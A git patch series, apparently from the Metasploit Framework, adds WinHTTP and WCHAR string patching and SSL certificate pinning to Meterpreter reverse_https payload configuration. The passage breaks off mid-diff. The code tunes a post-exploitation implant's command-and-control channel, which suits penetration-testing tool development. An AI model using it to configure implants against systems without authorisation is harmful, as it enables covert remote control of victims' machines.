From acd802c5fd271dcf17bfe36e4070e776ce9cb9c7 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 16 Mar 2015 21:53:11 +1000 Subject: [PATCH 01/11] Initial work for WinHTTP comms support in Meterpreter --- lib/rex/payloads/meterpreter/patch.rb | 56 ++++++++++--------- lib/rex/post/meterpreter/packet_dispatcher.rb | 1 - 2 files changed, 31 insertions(+), 26 deletions(-) diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 93c54873bf..8cf4824c96 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -13,9 +13,9 @@ module Rex # Replace the transport string def self.patch_transport! blob, ssl - i = blob.index("METERPRETER_TRANSPORT_SSL") + i = blob.index(wchar("METERPRETER_TRANSPORT_SSL")) if i - str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" + str = wchar(ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00") blob[i, str.length] = str end @@ -24,9 +24,9 @@ module Rex # Replace the URL def self.patch_url! blob, url - i = blob.index("https://" + ("X" * 256)) + i = blob.index(wchar("https://" + ("X" * 256))) if i - str = url + str = wchar(url) blob[i, str.length] = str end @@ -57,9 +57,9 @@ module Rex # Replace the user agent string with our option def self.patch_ua! blob, ua - ua = ua[0,255] + "\x00" - i = blob.index("METERPRETER_UA\x00") + i = blob.index(wchar("METERPRETER_UA\x00")) if i + ua = wchar(ua[0,255] + "\x00") blob[i, ua.length] = ua end @@ -68,24 +68,23 @@ module Rex # Activate a custom proxy def self.patch_proxy! blob, proxyhost, proxyport, proxy_type - i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") - if i - if proxyhost - if proxyhost.to_s != "" - proxyhost = proxyhost.to_s - proxyport = proxyport.to_s || "8080" - proxyinfo = proxyhost + ":" + proxyport - if proxyport == "80" - proxyinfo = proxyhost - end - if proxy_type.to_s == 'HTTP' - proxyinfo = 'http://' + proxyinfo - else #socks - proxyinfo = 'socks=' + proxyinfo - end - proxyinfo << "\x00" - blob[i, proxyinfo.length] = proxyinfo + if proxyhost && proxyhost.to_s != "" + i = blob.index(wchar("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")) + if i + proxyhost = proxyhost.to_s + proxyport = proxyport.to_s || "8080" + proxyinfo = proxyhost + ":" + proxyport + if proxyport == "80" + proxyinfo = proxyhost end + if proxy_type.to_s == 'HTTP' + proxyinfo = 'http://' + proxyinfo + else #socks + proxyinfo = 'socks=' + proxyinfo + end + proxyinfo << "\x00" + proxyinfo = wchar(proxyinfo) + blob[i, proxyinfo.length] = proxyinfo end end @@ -98,12 +97,14 @@ module Rex (proxy_password.nil? or proxy_password.empty?) or proxy_type == 'SOCKS' - proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") + proxy_username_loc = blob.index(wchar("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")) proxy_username = proxy_username << "\x00" + proxy_username = wchar(proxy_username) blob[proxy_username_loc, proxy_username.length] = proxy_username - proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") + proxy_password_loc = blob.index(wchar("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")) proxy_password = proxy_password << "\x00" + proxy_password = wchar(proxy_password) blob[proxy_password_loc, proxy_password.length] = proxy_password end @@ -130,6 +131,11 @@ module Rex end + private + + def self.wchar(str) + str.to_s.unpack("C*").pack("v*") + end end end end diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index 965e7af2e4..d78830c43d 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -178,7 +178,6 @@ module PacketDispatcher # Sends a packet and waits for a timeout for the given time interval. # def send_request(packet, t = self.response_timeout) - if not t send_packet(packet) return nil From a9f74383d00239c6ead2525edc9c94dff5d36951 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 17 Mar 2015 08:31:10 +1000 Subject: [PATCH 02/11] Update patch to support both ascii and wchar --- .../payload/windows/stageless_meterpreter.rb | 7 +- lib/rex/payloads/meterpreter/patch.rb | 101 ++++++++---------- 2 files changed, 49 insertions(+), 59 deletions(-) diff --git a/lib/msf/core/payload/windows/stageless_meterpreter.rb b/lib/msf/core/payload/windows/stageless_meterpreter.rb index b9ddaf0dfd..cc02bdd6cf 100644 --- a/lib/msf/core/payload/windows/stageless_meterpreter.rb +++ b/lib/msf/core/payload/windows/stageless_meterpreter.rb @@ -75,11 +75,8 @@ module Payload::Windows::StagelessMeterpreter # the URL might not be given, as it might be patched in some other way if url - url = "s#{url}\x00" - location = dll.index("https://#{'X' * 256}") - if location - dll[location, url.length] = url - end + # Patch the URL using the patcher as this upports both ASCII and WCHAR. + Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", url) end # if a block is given then call that with the meterpreter dll diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 8cf4824c96..37334fa70a 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -11,29 +11,18 @@ module Rex module Patch # Replace the transport string - def self.patch_transport! blob, ssl - - i = blob.index(wchar("METERPRETER_TRANSPORT_SSL")) - if i - str = wchar(ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00") - blob[i, str.length] = str - end - + def self.patch_transport!(blob, ssl) + str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" + patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str) end # Replace the URL - def self.patch_url! blob, url - - i = blob.index(wchar("https://" + ("X" * 256))) - if i - str = wchar(url) - blob[i, str.length] = str - end - + def self.patch_url!(blob, url) + patch_string!(blob, "https://#{"X" * 256}", url) end # Replace the session expiration timeout - def self.patch_expiration! blob, expiration + def self.patch_expiration!(blob, expiration) i = blob.index([0xb64be661].pack("V")) if i @@ -44,7 +33,7 @@ module Rex end # Replace the session communication timeout - def self.patch_comm_timeout! blob, comm_timeout + def self.patch_comm_timeout!(blob, comm_timeout) i = blob.index([0xaf79257f].pack("V")) if i @@ -55,63 +44,48 @@ module Rex end # Replace the user agent string with our option - def self.patch_ua! blob, ua - - i = blob.index(wchar("METERPRETER_UA\x00")) - if i - ua = wchar(ua[0,255] + "\x00") - blob[i, ua.length] = ua - end - + def self.patch_ua!(blob, ua) + patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00") end # Activate a custom proxy - def self.patch_proxy! blob, proxyhost, proxyport, proxy_type + def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type) if proxyhost && proxyhost.to_s != "" - i = blob.index(wchar("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")) - if i - proxyhost = proxyhost.to_s - proxyport = proxyport.to_s || "8080" - proxyinfo = proxyhost + ":" + proxyport - if proxyport == "80" - proxyinfo = proxyhost - end - if proxy_type.to_s == 'HTTP' - proxyinfo = 'http://' + proxyinfo - else #socks - proxyinfo = 'socks=' + proxyinfo - end - proxyinfo << "\x00" - proxyinfo = wchar(proxyinfo) - blob[i, proxyinfo.length] = proxyinfo + proxyhost = proxyhost.to_s + proxyport = proxyport.to_s || "8080" + proxyinfo = proxyhost + ":" + proxyport + if proxyport == "80" + proxyinfo = proxyhost end + if proxy_type.to_s == 'HTTP' + proxyinfo = 'http://' + proxyinfo + else #socks + proxyinfo = 'socks=' + proxyinfo + end + proxyinfo << "\x00" + patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo) end - end # Proxy authentification - def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type + def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type) unless (proxy_username.nil? or proxy_username.empty?) or (proxy_password.nil? or proxy_password.empty?) or proxy_type == 'SOCKS' - proxy_username_loc = blob.index(wchar("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")) - proxy_username = proxy_username << "\x00" - proxy_username = wchar(proxy_username) - blob[proxy_username_loc, proxy_username.length] = proxy_username + patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}", + proxy_username + "\x00") - proxy_password_loc = blob.index(wchar("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")) - proxy_password = proxy_password << "\x00" - proxy_password = wchar(proxy_password) - blob[proxy_password_loc, proxy_password.length] = proxy_password + patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}", + proxy_password + "\x00") end end # Patch options into metsrv for reverse HTTP payloads - def self.patch_passive_service! blob, options + def self.patch_passive_service!(blob, options) patch_transport! blob, options[:ssl] patch_url! blob, options[:url] @@ -131,8 +105,27 @@ module Rex end + # + # Patch an ASCII value in the given payload. If not found, try WCHAR instead. + # + def self.patch_string!(blob, search, replacement) + i = blob.index(search) + if i + blob[i, replacement.length] = replacement + else + i = blob.index(wchar(search)) + if i + r = wchar(replacement) + blob[i, r.length] = r + end + end + end + private + # + # Convert the given ASCII string into a WCHAR string (dumb, but works) + # def self.wchar(str) str.to_s.unpack("C*").pack("v*") end From d38e2c968e12bdfc7b707113153dda2b44bcadd5 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 17 Mar 2015 12:08:10 +1000 Subject: [PATCH 03/11] Add required include for stageless meterpreter --- lib/msf/core/payload/windows/stageless_meterpreter.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/payload/windows/stageless_meterpreter.rb b/lib/msf/core/payload/windows/stageless_meterpreter.rb index cc02bdd6cf..a75354e85e 100644 --- a/lib/msf/core/payload/windows/stageless_meterpreter.rb +++ b/lib/msf/core/payload/windows/stageless_meterpreter.rb @@ -1,6 +1,7 @@ #-*- coding: binary -*- require 'msf/core' +require 'rex/payloads/meterpreter/patch' module Msf From 7ca91b2eb5d564612105d9a02cc164e9651b8c50 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 17 Mar 2015 12:08:55 +1000 Subject: [PATCH 04/11] Add support for ssl to the patcher --- lib/rex/payloads/meterpreter/patch.rb | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/lib/rex/payloads/meterpreter/patch.rb b/lib/rex/payloads/meterpreter/patch.rb index 37334fa70a..216fa69e3e 100644 --- a/lib/rex/payloads/meterpreter/patch.rb +++ b/lib/rex/payloads/meterpreter/patch.rb @@ -84,6 +84,18 @@ module Rex end + # Patch the ssl cert hash + def self.patch_ssl_check!(blob, ssl_cert_hash) + # SSL cert location is an ASCII string, so no need for + # WCHAR support + if ssl_cert_hash + i = blob.index("METERPRETER_SSL_CERT_HASH\x00") + if i + blob[i, ssl_cert_hash.length] = ssl_cert_hash + end + end + end + # Patch options into metsrv for reverse HTTP payloads def self.patch_passive_service!(blob, options) @@ -92,6 +104,7 @@ module Rex patch_expiration! blob, options[:expiration] patch_comm_timeout! blob, options[:comm_timeout] patch_ua! blob, options[:ua] + patch_ssl_check! blob, options[:ssl_cert_hash] patch_proxy!(blob, options[:proxy_host], options[:proxy_port], From 7b4161bdb4aaef6c404bd4202944652207f0ca3a Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 17 Mar 2015 14:41:00 +1000 Subject: [PATCH 05/11] Update code to handle cert validation properly This code contains duplication from HD's PR. Once his has been landed this code can be fixed up a bit so that duplication is removed. --- lib/msf/core/handler/reverse_http.rb | 53 +++++++++++++++++ lib/msf/core/handler/reverse_https.rb | 3 +- .../payload/windows/stageless_meterpreter.rb | 2 +- .../windows/meterpreter_reverse_https.rb | 57 ++++++++++++++++++- 4 files changed, 112 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index f3f81594de..de4f6b770d 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -297,6 +297,7 @@ protected Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob, :ssl => ssl?, :url => url, + :ssl_cert_hash => get_ssl_cert_hash, :expiration => datastore['SessionExpirationTimeout'], :comm_timeout => datastore['SessionCommunicationTimeout'], :ua => datastore['MeterpreterUserAgent'], @@ -355,6 +356,58 @@ protected port > 0 ? port : datastore['LPORT'].to_i end + # TODO: remove all that is below this when HD's PR has been landed + def get_ssl_cert_hash + unless datastore['StagerVerifySslCert'].to_s =~ /^(t|y|1)/i + return nil + end + + unless datastore['HandlerSSLCert'] + raise ArgumentError, "StagerVerifySslCert is enabled but no HandlerSSLCert is configured" + end + + # TODO: fix this up when HD's PR has landed. + #hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) + hcert = parse_pem_file(datastore['HandlerSSLCert']) + unless hcert and hcert[0] and hcert[1] + raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}" + end + + hash = Rex::Text.sha1_raw(hcert[1].to_der) + print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") + hash + nil + end + + def parse_pem(ssl_cert) + cert = nil + key = nil + chain = nil + + certs = [] + ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| + if pem =~ /PRIVATE KEY/ + key = OpenSSL::PKey::RSA.new(pem) + elsif pem =~ /CERTIFICATE/ + certs << OpenSSL::X509::Certificate.new(pem) + end + end + + cert = certs.shift + if certs.length > 0 + chain = certs + end + + [key, cert, chain] + end + def parse_pem_file(ssl_cert_file) + data = '' + ::File.open(ssl_cert_file, 'rb') do |fd| + data << fd.read(fd.stat.size) + end + parse_pem(data) + end + end end diff --git a/lib/msf/core/handler/reverse_https.rb b/lib/msf/core/handler/reverse_https.rb index e2cbc8b22a..6d0c54b0fb 100644 --- a/lib/msf/core/handler/reverse_https.rb +++ b/lib/msf/core/handler/reverse_https.rb @@ -43,7 +43,8 @@ module ReverseHttps register_advanced_options( [ - OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]) + OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]), + OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"]) ], Msf::Handler::ReverseHttps) end diff --git a/lib/msf/core/payload/windows/stageless_meterpreter.rb b/lib/msf/core/payload/windows/stageless_meterpreter.rb index a75354e85e..f07659b0af 100644 --- a/lib/msf/core/payload/windows/stageless_meterpreter.rb +++ b/lib/msf/core/payload/windows/stageless_meterpreter.rb @@ -77,7 +77,7 @@ module Payload::Windows::StagelessMeterpreter # the URL might not be given, as it might be patched in some other way if url # Patch the URL using the patcher as this upports both ASCII and WCHAR. - Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", url) + Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00") end # if a block is given then call that with the meterpreter dll diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 827dc0a0ab..bb6e59f80c 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -8,6 +8,8 @@ require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/stageless_meterpreter' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' +# TODO: put this in when HD's PR has been landed. +#require 'rex/parser/x509_certificate' module Metasploit3 @@ -30,7 +32,7 @@ module Metasploit3 )) register_options([ - OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]), + OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]), ], self.class) end @@ -57,6 +59,7 @@ module Metasploit3 Rex::Payloads::Meterpreter::Patch.patch_passive_service! dll, :url => url, :ssl => true, + :ssl_cert_hash => get_ssl_cert_hash, :expiration => datastore['SessionExpirationTimeout'].to_i, :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, :ua => datastore['MeterpreterUserAgent'], @@ -66,6 +69,58 @@ module Metasploit3 :proxy_username => datastore['PROXY_USERNAME'], :proxy_password => datastore['PROXY_PASSWORD'] end + + end + + # TODO: remove all that is below this when HD's PR has been landed + def get_ssl_cert_hash + unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i + return nil + end + + unless datastore['HandlerSSLCert'] + raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" + end + + # TODO: fix this up when HD's PR has landed. + #hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) + hcert = parse_pem_file(datastore['HandlerSSLCert']) + unless hcert and hcert[0] and hcert[1] + raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}" + end + + hash = Rex::Text.sha1_raw(hcert[1].to_der) + print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") + hash + end + + def parse_pem(ssl_cert) + cert = nil + key = nil + chain = nil + + certs = [] + ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| + if pem =~ /PRIVATE KEY/ + key = OpenSSL::PKey::RSA.new(pem) + elsif pem =~ /CERTIFICATE/ + certs << OpenSSL::X509::Certificate.new(pem) + end + end + + cert = certs.shift + if certs.length > 0 + chain = certs + end + + [key, cert, chain] + end + def parse_pem_file(ssl_cert_file) + data = '' + ::File.open(ssl_cert_file, 'rb') do |fd| + data << fd.read(fd.stat.size) + end + parse_pem(data) end end From fd4ad9bd2eb8a72d7d5893a70141afc0dfd37d26 Mon Sep 17 00:00:00 2001 From: "oj@buffered.io" Date: Wed, 18 Mar 2015 11:10:31 +1000 Subject: [PATCH 06/11] Rework changes on top of HD's PR This commit removes duplication, tidies up a couple of things and puts some common code into the x509 module. --- lib/msf/core/handler/reverse_http.rb | 45 ++----------------- .../core/payload/windows/reverse_winhttp.rb | 5 +-- .../core/payload/windows/reverse_winhttps.rb | 38 ++++++++-------- lib/rex/parser/x509_certificate.rb | 30 +++++++++++++ .../windows/meterpreter_reverse_https.rb | 42 +---------------- 5 files changed, 57 insertions(+), 103 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index de4f6b770d..b55725d87a 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -3,6 +3,7 @@ require 'rex/io/stream_abstraction' require 'rex/sync/ref' require 'msf/core/handler/reverse_http/uri_checksum' require 'rex/payloads/meterpreter/patch' +require 'rex/parser/x509_certificate' module Msf module Handler @@ -356,56 +357,18 @@ protected port > 0 ? port : datastore['LPORT'].to_i end - # TODO: remove all that is below this when HD's PR has been landed def get_ssl_cert_hash - unless datastore['StagerVerifySslCert'].to_s =~ /^(t|y|1)/i + unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i return nil end unless datastore['HandlerSSLCert'] - raise ArgumentError, "StagerVerifySslCert is enabled but no HandlerSSLCert is configured" + raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" end - # TODO: fix this up when HD's PR has landed. - #hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) - hcert = parse_pem_file(datastore['HandlerSSLCert']) - unless hcert and hcert[0] and hcert[1] - raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}" - end - - hash = Rex::Text.sha1_raw(hcert[1].to_der) + hash = Rex::Parser::X509Certificate.get_cert_file_hash(datastore['HandlerSSLCert']) print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") hash - nil - end - - def parse_pem(ssl_cert) - cert = nil - key = nil - chain = nil - - certs = [] - ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| - if pem =~ /PRIVATE KEY/ - key = OpenSSL::PKey::RSA.new(pem) - elsif pem =~ /CERTIFICATE/ - certs << OpenSSL::X509::Certificate.new(pem) - end - end - - cert = certs.shift - if certs.length > 0 - chain = certs - end - - [key, cert, chain] - end - def parse_pem_file(ssl_cert_file) - data = '' - ::File.open(ssl_cert_file, 'rb') do |fd| - data << fd.read(fd.stat.size) - end - parse_pem(data) end end diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 8a5be39790..2745ece351 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -108,8 +108,7 @@ module Payload::Windows::ReverseWinHttp # @option opts [String] :url The URI to request during staging # @option opts [String] :host The host to connect to # @option opts [Fixnum] :port The port to connect to - # @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation - # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify + # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up # @@ -121,7 +120,7 @@ module Payload::Windows::ReverseWinHttp encoded_url = asm_generate_wchar_array(opts[:url]) encoded_host = asm_generate_wchar_array(opts[:host]) - if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash] + if opts[:ssl] && opts[:verify_cert_hash] verify_ssl = true encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") end diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index 993347db35..e53aa6ae2d 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -49,27 +49,12 @@ module Payload::Windows::ReverseWinHttps # def generate - verify_cert = false - verify_cert_hash = nil - - if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i - unless datastore['HandlerSSLCert'] - raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" - else - verify_cert = true - hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) - unless hcert and hcert[0] and hcert[1] - raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}" - end - verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der) - print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}") - end - end + verify_cert_hash = get_ssl_cert_hash # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space - if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i + if verify_cert_hash raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available" end @@ -78,7 +63,6 @@ module Payload::Windows::ReverseWinHttps host: datastore['LHOST'], port: datastore['LPORT'], url: generate_small_uri, - verify_cert: verify_cert, verify_cert_hash: verify_cert_hash, retry_count: datastore['StagerRetryCount']) end @@ -89,7 +73,6 @@ module Payload::Windows::ReverseWinHttps port: datastore['LPORT'], url: generate_uri, exitfunk: datastore['EXITFUNC'], - verify_cert: verify_cert, verify_cert_hash: verify_cert_hash, retry_count: datastore['StagerRetryCount'] } @@ -114,6 +97,23 @@ module Payload::Windows::ReverseWinHttps space end + # + # Get the SSL hash from the certificate, if required. + # + def get_ssl_cert_hash + unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i + return nil + end + + unless datastore['HandlerSSLCert'] + raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" + end + + hash = Rex::Parser::X509Certificate.get_cert_file_hash(datastore['HandlerSSLCert']) + print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") + hash + end + end end diff --git a/lib/rex/parser/x509_certificate.rb b/lib/rex/parser/x509_certificate.rb index f46500bf5c..a1fad8a968 100644 --- a/lib/rex/parser/x509_certificate.rb +++ b/lib/rex/parser/x509_certificate.rb @@ -56,6 +56,36 @@ class X509Certificate parse_pem(data) end + # + # Parse a certificate in unified PEM format and retrieve + # the SHA1 hash. + # + # @param [String] ssl_cert + # @return [String] + def self.get_cert_hash(ssl_cert) + hcert = parse_pem(ssl_cert) + + unless hcert and hcert[0] and hcert[1] + raise ArgumentError, "Could not parse a private key and certificate" + end + + Rex::Text.sha1_raw(hcert[1].to_der) + end + + # + # Parse a file that contains a certificate in unified PEM + # format and retrieve the SHA1 hash. + # + # @param [String] ssl_cert_file + # @return [String] + def self.get_cert_file_hash(ssl_cert_file) + data = '' + ::File.open(ssl_cert_file, 'rb') do |fd| + data << fd.read(fd.stat.size) + end + get_cert_hash(data) + end + end end diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index bb6e59f80c..e82262b61b 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -8,8 +8,7 @@ require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/stageless_meterpreter' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' -# TODO: put this in when HD's PR has been landed. -#require 'rex/parser/x509_certificate' +require 'rex/parser/x509_certificate' module Metasploit3 @@ -72,7 +71,6 @@ module Metasploit3 end - # TODO: remove all that is below this when HD's PR has been landed def get_ssl_cert_hash unless datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i return nil @@ -82,46 +80,10 @@ module Metasploit3 raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" end - # TODO: fix this up when HD's PR has landed. - #hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert']) - hcert = parse_pem_file(datastore['HandlerSSLCert']) - unless hcert and hcert[0] and hcert[1] - raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}" - end - - hash = Rex::Text.sha1_raw(hcert[1].to_der) + hash = Rex::Parser::X509Certificate.get_cert_file_hash(datastore['HandlerSSLCert']) print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}") hash end - def parse_pem(ssl_cert) - cert = nil - key = nil - chain = nil - - certs = [] - ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| - if pem =~ /PRIVATE KEY/ - key = OpenSSL::PKey::RSA.new(pem) - elsif pem =~ /CERTIFICATE/ - certs << OpenSSL::X509::Certificate.new(pem) - end - end - - cert = certs.shift - if certs.length > 0 - chain = certs - end - - [key, cert, chain] - end - def parse_pem_file(ssl_cert_file) - data = '' - ::File.open(ssl_cert_file, 'rb') do |fd| - data << fd.read(fd.stat.size) - end - parse_pem(data) - end - end From cdbe9234192afb2809fb9f5052275505cb981fb7 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 20 Mar 2015 13:12:48 +1000 Subject: [PATCH 07/11] Ignore all the DLLs We don't keep any meterpreter DLLs in the main repo now, so this changes the ignore to make sure nothing goes in. --- .gitignore | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/.gitignore b/.gitignore index 015a4fd9f7..1619d775e4 100644 --- a/.gitignore +++ b/.gitignore @@ -67,17 +67,7 @@ external/source/exploits/**/Release # Avoid checking in Meterpreter binaries. These are supplied upstream by # the meterpreter_bins gem. -data/meterpreter/elevator.*.dll -data/meterpreter/ext_server_espia.*.dll -data/meterpreter/ext_server_extapi.*.dll -data/meterpreter/ext_server_incognito.*.dll -data/meterpreter/ext_server_kiwi.*.dll -data/meterpreter/ext_server_lanattacks.*.dll -data/meterpreter/ext_server_mimikatz.*.dll -data/meterpreter/ext_server_priv.*.dll -data/meterpreter/ext_server_stdapi.*.dll -data/meterpreter/metsrv.*.dll -data/meterpreter/screenshot.*.dll +data/meterpreter/*.dll # Avoid checking in Meterpreter libs that are built from # private source. If you're interested in this functionality, From 9d20d057dd6845ced9abf00ae60983c47a10577d Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 20 Mar 2015 13:16:43 +1000 Subject: [PATCH 08/11] Update Meterpreter URL length to 512 --- lib/msf/core/payload/windows/stageless_meterpreter.rb | 2 +- lib/rex/payloads/meterpreter/patch.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/windows/stageless_meterpreter.rb b/lib/msf/core/payload/windows/stageless_meterpreter.rb index f07659b0af..1c79d9ecd1 100644 --- a/lib/msf/core/payload/windows/stageless_meterpreter.rb +++ b/lib/msf/core/payload/windows/stageless_meterpreter.rb @@ -77,7 +77,7 @@ module Payload::Windows::StagelessMeterpreter # the URL might not be given, as it might be patched in some other way if url # Patch the URL using the patcher as this upports both ASCII and WCHAR. - Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00") + Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00") end # if a block is given then call that with the meterpreter dll diff --git 